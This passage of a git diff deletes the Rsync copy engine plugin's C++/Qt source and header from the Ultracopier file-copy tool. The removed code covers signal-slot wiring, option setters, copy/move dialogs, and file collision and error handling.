- if(!connect(this,SIGNAL(signal_removeItems(QList<int>)), listThread,SLOT(removeItems(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_removeItems()");
- if(!connect(this,SIGNAL(signal_moveItemsOnTop(QList<int>)), listThread,SLOT(moveItemsOnTop(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_moveItemsOnTop()");
- if(!connect(this,SIGNAL(signal_moveItemsUp(QList<int>)), listThread,SLOT(moveItemsUp(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_moveItemsUp()");
- if(!connect(this,SIGNAL(signal_moveItemsDown(QList<int>)), listThread,SLOT(moveItemsDown(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_moveItemsDown()");
- if(!connect(this,SIGNAL(signal_moveItemsOnBottom(QList<int>)), listThread,SLOT(moveItemsOnBottom(QList<int>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_moveItemsOnBottom()");
- if(!connect(this,SIGNAL(signal_exportTransferList(QString)), listThread,SLOT(exportTransferList(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_exportTransferList()");
- if(!connect(this,SIGNAL(signal_importTransferList(QString)), listThread,SLOT(importTransferList(QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_importTransferList()");
- if(!connect(this,SIGNAL(signal_forceMode(CopyMode)), listThread,SLOT(forceMode(CopyMode)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect signal_forceMode()");
- if(!connect(this,SIGNAL(send_osBufferLimit(uint)), listThread,SLOT(set_osBufferLimit(uint)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_osBufferLimit()");
- if(!connect(this,SIGNAL(send_setFilters(QList<Filters_rules>,QList<Filters_rules>)),listThread,SLOT(set_setFilters(QList<Filters_rules>,QList<Filters_rules>)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_setFilters()");
- if(!connect(this,SIGNAL(send_sendNewRenamingRules(QString,QString)),listThread,SLOT(set_sendNewRenamingRules(QString,QString)), Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect send_sendNewRenamingRules()");
- if(!connect(&timerActionDone,SIGNAL(timeout()), listThread,SLOT(sendActionDone())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect timerActionDone");
- if(!connect(&timerProgression,SIGNAL(timeout()), listThread,SLOT(sendProgression())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect timerProgression");
-
- if(!connect(this,SIGNAL(queryOneNewDialog()),SLOT(showOneNewDialog()),Qt::QueuedConnection))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect queryOneNewDialog()");
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-void copyEngine::updateTheDebugInfo(QStringList newList,QStringList newList2,int numberOfInodeOperation)
-{
- debugDialogWindow.setTransferThreadList(newList);
- debugDialogWindow.setTransferList(newList2);
- debugDialogWindow.setInodeUsage(numberOfInodeOperation);
-}
-#endif
-
-//to send the options panel
-bool copyEngine::getOptionsEngine(QWidget * tempWidget)
-{
- this->tempWidget=tempWidget;
- connect(tempWidget, SIGNAL(destroyed()), this, SLOT(resetTempWidget()));
- ui->setupUi(tempWidget);
- //conect the ui widget
-/* connect(ui->doRightTransfer, SIGNAL(toggled(bool)), &threadOfTheTransfer, SLOT(setRightTransfer(bool)));
- connect(ui->keepDate, SIGNAL(toggled(bool)), &threadOfTheTransfer, SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), &threadOfTheTransfer, SLOT(setBlockSize(int)));*/
- connect(ui->autoStart, SIGNAL(toggled(bool)), this, SLOT(setAutoStart(bool)));
- connect(ui->rsync, SIGNAL(toggled(bool)), this, SLOT(setRsync(bool)));
- connect(ui->checkBoxDestinationFolderExists, SIGNAL(toggled(bool)), this, SLOT(setCheckDestinationFolderExists(bool)));
- uiIsInstalled=true;
- setRightTransfer(doRightTransfer);
- setKeepDate(keepDate);
- setSpeedLimitation(maxSpeed);
- setBlockSize(blockSize);
- setAutoStart(autoStart);
- setRsync(rsync);
- setCheckDestinationFolderExists(checkDestinationFolderExists);
- set_doChecksum(doChecksum);
- set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
- set_checksumOnlyOnError(checksumOnlyOnError);
- set_osBuffer(osBuffer);
- set_osBufferLimited(osBufferLimited);
- set_osBufferLimit(osBufferLimit);
- return true;
-}
-
-//to have interface widget to do modal dialog
-void copyEngine::setInterfacePointer(QWidget * interface)
-{
- this->interface=interface;
- filters=new Filters(tempWidget);
- renamingRules=new RenamingRules(tempWidget);
-
- if(uiIsInstalled)
- {
- connect(ui->doRightTransfer, SIGNAL(toggled(bool)), this,SLOT(setRightTransfer(bool)));
- connect(ui->keepDate, SIGNAL(toggled(bool)), this,SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), this,SLOT(setBlockSize(int)));
- connect(ui->autoStart, SIGNAL(toggled(bool)), this,SLOT(setAutoStart(bool)));
- connect(ui->rsync, SIGNAL(toggled(bool)), this,SLOT(setRsync(bool)));
- connect(ui->doChecksum, SIGNAL(toggled(bool)), this,SLOT(doChecksum_toggled(bool)));
- connect(ui->checksumIgnoreIfImpossible, SIGNAL(toggled(bool)), this,SLOT(checksumIgnoreIfImpossible_toggled(bool)));
- connect(ui->checksumOnlyOnError, SIGNAL(toggled(bool)), this,SLOT(checksumOnlyOnError_toggled(bool)));
- connect(ui->osBuffer, SIGNAL(toggled(bool)), this,SLOT(osBuffer_toggled(bool)));
- connect(ui->osBufferLimited, SIGNAL(toggled(bool)), this,SLOT(osBufferLimited_toggled(bool)));
- connect(ui->osBufferLimit, SIGNAL(editingFinished()), this,SLOT(osBufferLimit_editingFinished()));
-
- connect(filters,SIGNAL(sendNewFilters(QStringList,QStringList,QStringList,QStringList)),this,SLOT(sendNewFilters()));
- connect(ui->filters,SIGNAL(clicked()),this,SLOT(showFilterDialog()));
-
- if(!connect(renamingRules,SIGNAL(sendNewRenamingRules(QString,QString)),this,SLOT(sendNewRenamingRules(QString,QString))))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect sendNewRenamingRules()");
- if(!connect(ui->renamingRules,SIGNAL(clicked()),this,SLOT(showRenamingRules())))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to connect renamingRules.clicked()");
- }
-
- filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
- set_setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
-
- renamingRules->setRenamingRules(firstRenamingRule,otherRenamingRule);
- emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-bool copyEngine::haveSameSource(const QStringList &sources)
-{
- return listThread->haveSameSource(sources);
-}
-
-bool copyEngine::haveSameDestination(const QString &destination)
-{
- return listThread->haveSameDestination(destination);
-}
-
-bool copyEngine::newCopy(const QStringList &sources)
-{
- if(forcedMode && mode!=Copy)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The engine is forced to move, you can't copy with it");
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to move, you can't copy with it"));
- return false;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QString destination = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select destination directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
- if(destination.isEmpty() || destination.isNull() || destination=="")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Canceled by the user");
- return false;
- }
- return listThread->newCopy(sources,destination);
-}
-
-bool copyEngine::newCopy(const QStringList &sources,const QString &destination)
-{
- if(forcedMode && mode!=Copy)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The engine is forced to move, you can't copy with it");
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to move, you can't copy with it"));
- return false;
- }
- return listThread->newCopy(sources,destination);
-}
-
-bool copyEngine::newMove(const QStringList &sources)
-{
- if(forcedMode && mode!=Move)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The engine is forced to copy, you can't move with it");
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to copy, you can't move with it"));
- return false;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QString destination = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select destination directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
- if(destination.isEmpty() || destination.isNull() || destination=="")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Canceled by the user");
- return false;
- }
- return listThread->newMove(sources,destination);
-}
-
-bool copyEngine::newMove(const QStringList &sources,const QString &destination)
-{
- if(forcedMode && mode!=Move)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"The engine is forced to copy, you can't move with it");
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The engine is forced to copy, you can't move with it"));
- return false;
- }
- return listThread->newMove(sources,destination);
-}
-
-void copyEngine::newTransferList(const QString &file)
-{
- emit signal_importTransferList(file);
-}
-
-//because direct access to list thread into the main thread can't be do
-quint64 copyEngine::realByteTransfered()
-{
- return size_for_speed;
-}
-
-//speed limitation
-qint64 copyEngine::getSpeedLimitation()
-{
- return listThread->getSpeedLimitation();
-}
-
-//get collision action
-QList<QPair<QString,QString> > copyEngine::getCollisionAction()
-{
- QPair<QString,QString> tempItem;
- QList<QPair<QString,QString> > list;
- tempItem.first=facilityEngine->translateText("Ask");tempItem.second="ask";list << tempItem;
- tempItem.first=facilityEngine->translateText("Skip");tempItem.second="skip";list << tempItem;
- tempItem.first=facilityEngine->translateText("Overwrite");tempItem.second="overwrite";list << tempItem;
- tempItem.first=facilityEngine->translateText("Overwrite if newer");tempItem.second="overwriteIfNewer";list << tempItem;
- tempItem.first=facilityEngine->translateText("Overwrite if the last modification dates are different");tempItem.second="overwriteIfNotSameModificationDate";list << tempItem;
- tempItem.first=facilityEngine->translateText("Rename");tempItem.second="rename";list << tempItem;
- return list;
-}
-
-QList<QPair<QString,QString> > copyEngine::getErrorAction()
-{
- QPair<QString,QString> tempItem;
- QList<QPair<QString,QString> > list;
- tempItem.first=facilityEngine->translateText("Ask");tempItem.second="ask";list << tempItem;
- tempItem.first=facilityEngine->translateText("Skip");tempItem.second="skip";list << tempItem;
- tempItem.first=facilityEngine->translateText("Put to end of the list");tempItem.second="putToEndOfTheList";list << tempItem;
- return list;
-}
-
-void copyEngine::setDrive(const QStringList &drives)
-{
- listThread->setDrive(drives);
-}
-
-/** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
-void copyEngine::syncTransferList()
-{
- listThread->syncTransferList();
-}
-
-void copyEngine::set_doChecksum(bool doChecksum)
-{
- listThread->set_doChecksum(doChecksum);
- if(uiIsInstalled)
- ui->doChecksum->setChecked(doChecksum);
- this->doChecksum=doChecksum;
-}
-
-void copyEngine::set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible)
-{
- listThread->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
- if(uiIsInstalled)
- ui->checksumIgnoreIfImpossible->setChecked(checksumIgnoreIfImpossible);
- this->checksumIgnoreIfImpossible=checksumIgnoreIfImpossible;
-}
-
-void copyEngine::set_checksumOnlyOnError(bool checksumOnlyOnError)
-{
- listThread->set_checksumOnlyOnError(checksumOnlyOnError);
- if(uiIsInstalled)
- ui->checksumOnlyOnError->setChecked(checksumOnlyOnError);
- this->checksumOnlyOnError=checksumOnlyOnError;
-}
-
-void copyEngine::set_osBuffer(bool osBuffer)
-{
- listThread->set_osBuffer(osBuffer);
- if(uiIsInstalled)
- ui->osBuffer->setChecked(osBuffer);
- this->osBuffer=osBuffer;
-}
-
-void copyEngine::set_osBufferLimited(bool osBufferLimited)
-{
- listThread->set_osBufferLimited(osBufferLimited);
- if(uiIsInstalled)
- ui->osBufferLimited->setChecked(osBufferLimited);
- this->osBufferLimited=osBufferLimited;
-}
-
-void copyEngine::set_osBufferLimit(unsigned int osBufferLimit)
-{
- emit send_osBufferLimit(osBufferLimit);
- if(uiIsInstalled)
- ui->osBufferLimit->setValue(osBufferLimit);
- this->osBufferLimit=osBufferLimit;
-}
-
-void copyEngine::set_setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions)
-{
- if(filters!=NULL)
- {
- filters->setFilters(includeStrings,includeOptions,excludeStrings,excludeOptions);
- emit send_setFilters(filters->getInclude(),filters->getExclude());
- }
- this->includeStrings=includeStrings;
- this->includeOptions=includeOptions;
- this->excludeStrings=excludeStrings;
- this->excludeOptions=excludeOptions;
-}
-
-void copyEngine::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-bool copyEngine::userAddFolder(const CopyMode &mode)
-{
- QString source = QFileDialog::getExistingDirectory(interface,facilityEngine->translateText("Select source directory"),"",QFileDialog::ShowDirsOnly | QFileDialog::DontResolveSymlinks);
- if(source.isEmpty() || source.isNull() || source=="")
- return false;
- if(mode==Copy)
- return newCopy(QStringList() << source);
- else
- return newMove(QStringList() << source);
-}
-
-bool copyEngine::userAddFile(const CopyMode &mode)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QStringList sources = QFileDialog::getOpenFileNames(
- interface,
- facilityEngine->translateText("Select one or more files to open"),
- "",
- facilityEngine->translateText("All files")+" (*)");
- if(sources.isEmpty())
- return false;
- if(mode==Copy)
- return newCopy(sources);
- else
- return newMove(sources);
-}
-
-void copyEngine::pause()
-{
- emit signal_pause();
-}
-
-void copyEngine::resume()
-{
- emit signal_resume();
-}
-
-void copyEngine::skip(const quint64 &id)
-{
- emit signal_skip(id);
-}
-
-void copyEngine::cancel()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- stopIt=true;
- timerProgression.stop();
- timerActionDone.stop();
- emit tryCancel();
-}
-
-void copyEngine::removeItems(const QList<int> &ids)
-{
- emit signal_removeItems(ids);
-}
-
-void copyEngine::moveItemsOnTop(const QList<int> &ids)
-{
- emit signal_moveItemsOnTop(ids);
-}
-
-void copyEngine::moveItemsUp(const QList<int> &ids)
-{
- emit signal_moveItemsUp(ids);
-}
-
-void copyEngine::moveItemsDown(const QList<int> &ids)
-{
- emit signal_moveItemsDown(ids);
-}
-
-void copyEngine::moveItemsOnBottom(const QList<int> &ids)
-{
- emit signal_moveItemsOnBottom(ids);
-}
-
-/** \brief give the forced mode, to export/import transfer list */
-void copyEngine::forceMode(const CopyMode &mode)
-{
- if(mode==Move)
- {
- listThread->setRsync(false);
- rsync=false;
- }
- if(uiIsInstalled)
- ui->rsync->setEnabled(mode==Copy);
- if(forcedMode)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Mode forced previously"));
- QMessageBox::critical(NULL,facilityEngine->translateText("Internal error"),tr("The mode have been forced previously, it's internal error, please report it"));
- return;
- }
- if(mode==Copy)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Force mode to copy"));
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Force mode to move"));
- this->mode=mode;
- forcedMode=true;
- emit signal_forceMode(mode);
-}
-
-void copyEngine::exportTransferList()
-{
- QString fileName = QFileDialog::getSaveFileName(NULL,facilityEngine->translateText("Save transfer list"),"transfer-list.lst",facilityEngine->translateText("Transfer list")+" (*.lst)");
- if(fileName.isEmpty())
- return;
- emit signal_exportTransferList(fileName);
-}
-
-void copyEngine::importTransferList()
-{
- QString fileName = QFileDialog::getOpenFileName(NULL,facilityEngine->translateText("Open transfer list"),"transfer-list.lst",facilityEngine->translateText("Transfer list")+" (*.lst)");
- if(fileName.isEmpty())
- return;
- emit signal_importTransferList(fileName);
-}
-
-void copyEngine::warningTransferList(const QString &warning)
-{
- QMessageBox::warning(interface,facilityEngine->translateText("Error"),warning);
-}
-
-void copyEngine::errorTransferList(const QString &error)
-{
- QMessageBox::critical(interface,facilityEngine->translateText("Error"),error);
-}
-
-bool copyEngine::setSpeedLimitation(const qint64 &speedLimitation)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"maxSpeed: "+QString::number(speedLimitation));
- maxSpeed=speedLimitation;
- return listThread->setSpeedLimitation(speedLimitation);
-}
-
-void copyEngine::setCollisionAction(const QString &action)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"action: "+action);
- if(action=="skip")
- alwaysDoThisActionForFileExists=FileExists_Skip;
- else if(action=="overwrite")
- alwaysDoThisActionForFileExists=FileExists_Overwrite;
- else if(action=="overwriteIfNewer")
- alwaysDoThisActionForFileExists=FileExists_OverwriteIfNewer;
- else if(action=="overwriteIfNotSameModificationDate")
- alwaysDoThisActionForFileExists=FileExists_OverwriteIfNotSameModificationDate;
- else if(action=="rename")
- alwaysDoThisActionForFileExists=FileExists_Rename;
- else
- alwaysDoThisActionForFileExists=FileExists_NotSet;
- emit signal_setCollisionAction(alwaysDoThisActionForFileExists);
-}
-
-void copyEngine::setErrorAction(const QString &action)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"action: "+action);
- if(action=="skip")
- alwaysDoThisActionForFileError=FileError_Skip;
- else if(action=="putToEndOfTheList")
- alwaysDoThisActionForFileError=FileError_PutToEndOfTheList;
- else
- alwaysDoThisActionForFileError=FileError_NotSet;
-}
-
-void copyEngine::setRightTransfer(const bool doRightTransfer)
-{
- this->doRightTransfer=doRightTransfer;
- if(uiIsInstalled)
- ui->doRightTransfer->setChecked(doRightTransfer);
- listThread->setRightTransfer(doRightTransfer);
-}
-
-//set keep date
-void copyEngine::setKeepDate(const bool keepDate)
-{
- this->keepDate=keepDate;
- if(uiIsInstalled)
- ui->keepDate->setChecked(keepDate);
- listThread->setKeepDate(keepDate);
-}
-
-//set block size in KB
-void copyEngine::setBlockSize(const int blockSize)
-{
- this->blockSize=blockSize;
- if(uiIsInstalled)
- ui->blockSize->setValue(blockSize);
- listThread->setBlockSize(blockSize);
-}
-
-//set auto start
-void copyEngine::setAutoStart(const bool autoStart)
-{
- this->autoStart=autoStart;
- if(uiIsInstalled)
- ui->autoStart->setChecked(autoStart);
- listThread->setAutoStart(autoStart);
-}
-
-/// \brief set rsync
-void copyEngine::setRsync(const bool rsync)
-{
- this->rsync=rsync;
- if(uiIsInstalled)
- {
- ui->rsync->setChecked(rsync);
- ui->rsync->setEnabled(forcedMode && mode==Copy);
- ui->label_rsync->setEnabled(forcedMode && mode==Copy);
- }
- listThread->setRsync(rsync);
-}
-
-//set check destination folder
-void copyEngine::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
-{
- this->checkDestinationFolderExists=checkDestinationFolderExists;
- if(uiIsInstalled)
- ui->checkBoxDestinationFolderExists->setChecked(checkDestinationFolderExists);
- listThread->setCheckDestinationFolderExists(checkDestinationFolderExists);
-}
-
-//reset widget
-void copyEngine::resetTempWidget()
-{
- tempWidget=NULL;
-}
-
-void copyEngine::on_comboBoxFolderColision_currentIndexChanged(int index)
-{
- switch(index)
- {
- case 0:
- setComboBoxFolderColision(FolderExists_NotSet,false);
- break;
- case 1:
- setComboBoxFolderColision(FolderExists_Merge,false);
- break;
- case 2:
- setComboBoxFolderColision(FolderExists_Skip,false);
- break;
- case 3:
- setComboBoxFolderColision(FolderExists_Rename,false);
- break;
- }
-}
-
-void copyEngine::on_comboBoxFolderError_currentIndexChanged(int index)
-{
- switch(index)
- {
- case 0:
- setComboBoxFolderError(FileError_NotSet,false);
- break;
- case 1:
- setComboBoxFolderError(FileError_Skip,false);
- break;
- }
-}
-
-//set the translate
-void copyEngine::newLanguageLoaded()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, retranslate the widget options");
- if(tempWidget!=NULL)
- ui->retranslateUi(tempWidget);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"ui not loaded!");
-}
-
-void copyEngine::setComboBoxFolderColision(FolderExistsAction action,bool changeComboBox)
-{
- alwaysDoThisActionForFolderExists=action;
- emit signal_setFolderColision(alwaysDoThisActionForFolderExists);
- if(!changeComboBox || !uiIsInstalled)
- return;
- switch(action)
- {
- case FolderExists_Merge:
- ui->comboBoxFolderColision->setCurrentIndex(1);
- break;
- case FolderExists_Skip:
- ui->comboBoxFolderColision->setCurrentIndex(2);
- break;
- case FolderExists_Rename:
- ui->comboBoxFolderColision->setCurrentIndex(3);
- break;
- default:
- ui->comboBoxFolderColision->setCurrentIndex(0);
- break;
- }
-}
-
-void copyEngine::setComboBoxFolderError(FileErrorAction action,bool changeComboBox)
-{
- alwaysDoThisActionForFileError=action;
- if(!changeComboBox || !uiIsInstalled)
- return;
- switch(action)
- {
- case FileError_Skip:
- ui->comboBoxFolderError->setCurrentIndex(1);
- break;
- default:
- ui->comboBoxFolderError->setCurrentIndex(0);
- break;
- }
-}
-
-void copyEngine::doChecksum_toggled(bool doChecksum)
-{
- listThread->set_doChecksum(doChecksum);
-}
-
-void copyEngine::checksumOnlyOnError_toggled(bool checksumOnlyOnError)
-{
- listThread->set_checksumOnlyOnError(checksumOnlyOnError);
-}
-
-void copyEngine::checksumIgnoreIfImpossible_toggled(bool checksumIgnoreIfImpossible)
-{
- listThread->set_checksumIgnoreIfImpossible(checksumIgnoreIfImpossible);
-}
-
-void copyEngine::osBuffer_toggled(bool osBuffer)
-{
- listThread->set_osBuffer(osBuffer);
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-void copyEngine::osBufferLimited_toggled(bool osBufferLimited)
-{
- listThread->set_osBufferLimited(osBufferLimited);
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-void copyEngine::osBufferLimit_editingFinished()
-{
- emit send_osBufferLimit(ui->osBufferLimit->value());
-}
-
-void copyEngine::showFilterDialog()
-{
- if(filters!=NULL)
- filters->exec();
-}
-
-void copyEngine::sendNewFilters()
-{
- if(filters!=NULL)
- emit send_setFilters(filters->getInclude(),filters->getExclude());
-}
-
-void copyEngine::sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"new filter");
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
- emit send_sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-void copyEngine::showRenamingRules()
-{
- if(renamingRules==NULL)
- {
- QMessageBox::critical(NULL,tr("Options error"),tr("Options engine is not loaded, can't access to the filters"));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"options not loaded");
- return;
- }
- renamingRules->exec();
-}
-
-void copyEngine::get_realBytesTransfered(quint64 realBytesTransfered)
-{
- size_for_speed=realBytesTransfered;
-}
-
-void copyEngine::newActionInProgess(EngineActionInProgress action)
-{
- if(action==Idle)
- {
- timerProgression.stop();
- timerActionDone.stop();
- }
- else
- {
- timerProgression.start();
- timerActionDone.start();
- }
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/copyEngine.h b/plugins-alternative/CopyEngine/Rsync/copyEngine.h
deleted file mode 100755
index 5afa8b2..0000000
--- a/plugins-alternative/CopyEngine/Rsync/copyEngine.h
+++ /dev/null
@@ -1,362 +0,0 @@
-/** \file copyEngine.h
-\brief Define the copy engine
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QObject>
-#include <QList>
-#include <QStringList>
-#include <QFileInfo>
-#include <QFile>
-#include <QFileDialog>
-#include <QMessageBox>
-
-#include "../../../interface/PluginInterface_CopyEngine.h"
-#include "fileErrorDialog.h"
-#include "fileExistsDialog.h"
-#include "folderExistsDialog.h"
-#include "fileIsSameDialog.h"
-#include "ui_options.h"
-#include "Environment.h"
-#include "ListThread.h"
-#include "Filters.h"
-#include "RenamingRules.h"
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-#include "debugDialog.h"
-#include <QTimer>
-#endif
-
-#ifndef COPY_ENGINE_H
-#define COPY_ENGINE_H
-
-namespace Ui {
- class options;
-}
-
-/// \brief the implementation of copy engine plugin, manage directly few stuff, else pass to ListThread class.
-class copyEngine : public PluginInterface_CopyEngine
-{
- Q_OBJECT
-public:
- copyEngine(FacilityInterface * facilityEngine);
- ~copyEngine();
- void connectTheSignalsSlots();
-private:
- ListThread *listThread;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- debugDialog debugDialogWindow;
- #endif
- QWidget * tempWidget;
- Ui::options * ui;
- bool uiIsInstalled;
- QWidget * interface;
- Filters * filters;
- RenamingRules * renamingRules;
- FacilityInterface * facilityEngine;
- int maxSpeed;
- bool doRightTransfer;
- bool keepDate;
- int blockSize;
- bool autoStart;
- bool rsync;
- bool checkDestinationFolderExists;
- FileExistsAction alwaysDoThisActionForFileExists;
- FileErrorAction alwaysDoThisActionForFileError;
- FileErrorAction alwaysDoThisActionForFolderError;
- FolderExistsAction alwaysDoThisActionForFolderExists;
- bool dialogIsOpen;
- volatile bool stopIt;
- /// \brief error queue
- struct errorQueueItem
- {
- TransferThread * transfer; ///< NULL if send by scan thread
- scanFileOrFolder * scan; ///< NULL if send by transfer thread
- bool mkPath;
- bool rmPath;
- QFileInfo inode;
- QString errorString;
- };
- QList<errorQueueItem> errorQueue;
- /// \brief already exists queue
- struct alreadyExistsQueueItem
- {
- TransferThread * transfer; ///< NULL if send by scan thread
- scanFileOrFolder * scan; ///< NULL if send by transfer thread
- QFileInfo source;
- QFileInfo destination;
- bool isSame;
- };
- QList<alreadyExistsQueueItem> alreadyExistsQueue;
- //temp variable
- int error_index,loop_size;
- FileErrorAction tempFileErrorAction;
- FolderExistsAction tempFolderExistsAction;
- FileExistsAction tempFileExistsAction;
- quint64 size_for_speed;//because direct access to list thread into the main thread can't be do
- CopyMode mode;
- bool forcedMode;
-
- bool doChecksum;
- bool checksumIgnoreIfImpossible;
- bool checksumOnlyOnError;
- bool osBuffer;
- bool osBufferLimited;
- unsigned int osBufferLimit;
- QStringList includeStrings,includeOptions,excludeStrings,excludeOptions;
- QString firstRenamingRule;
- QString otherRenamingRule;
-
- //send action done timer
- QTimer timerActionDone;
- //send progression timer
- QTimer timerProgression;
-private slots:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- void updateTheDebugInfo(QStringList,QStringList,int);
- #endif
- //dialog message
- /// \note Can be call without queue because all call will be serialized
- void fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread,bool isCalledByShowOneNewDialog=false);
- /// \note Can be call without queue because all call will be serialized
- void errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread,bool isCalledByShowOneNewDialog=false);
- /// \note Can be call without queue because all call will be serialized
- void folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog=false);
- /// \note Can be call without queue because all call will be serialized
- void errorOnFolder(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog=false);
- //mkpath event
- void mkPathErrorOnFolder(QFileInfo,QString,bool isCalledByShowOneNewDialog=false);
- //rmpath event
- void rmPathErrorOnFolder(QFileInfo,QString,bool isCalledByShowOneNewDialog=false);
- //show one new dialog if needed
- void showOneNewDialog();
- void sendNewFilters();
-
- void doChecksum_toggled(bool);
- void checksumOnlyOnError_toggled(bool);
- void checksumIgnoreIfImpossible_toggled(bool);
- void osBuffer_toggled(bool);
- void osBufferLimited_toggled(bool);
- void osBufferLimit_editingFinished();
- void showFilterDialog();
- void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- void showRenamingRules();
- void get_realBytesTransfered(quint64 realBytesTransfered);
- void newActionInProgess(EngineActionInProgress);
-public:
- /** \brief to send the options panel
- * \return return false if have not the options
- * \param tempWidget the widget to generate on it the options */
- bool getOptionsEngine(QWidget * tempWidget);
- /** \brief to have interface widget to do modal dialog
- * \param interface to have the widget of the interface, useful for modal dialog */
- void setInterfacePointer(QWidget * interface);
- //return empty if multiple
- /** \brief compare the current sources of the copy, with the passed arguments
- * \param sources the sources list to compares with the current sources list
- * \return true if have same sources, else false (or empty) */
- bool haveSameSource(const QStringList &sources);
- /** \brief compare the current destination of the copy, with the passed arguments
- * \param destination the destination to compares with the current destination
- * \return true if have same destination, else false (or empty) */
- bool haveSameDestination(const QString &destination);
- //external soft like file browser have send copy/move list to do
- /** \brief send copy without destination, ask the destination
- * \param sources the sources list to copy
- * \return true if the copy have been accepted */
- bool newCopy(const QStringList &sources);
- /** \brief send copy with destination
- * \param sources the sources list to copy
- * \param destination the destination to copy
- * \return true if the copy have been accepted */
- bool newCopy(const QStringList &sources,const QString &destination);
- /** \brief send move without destination, ask the destination
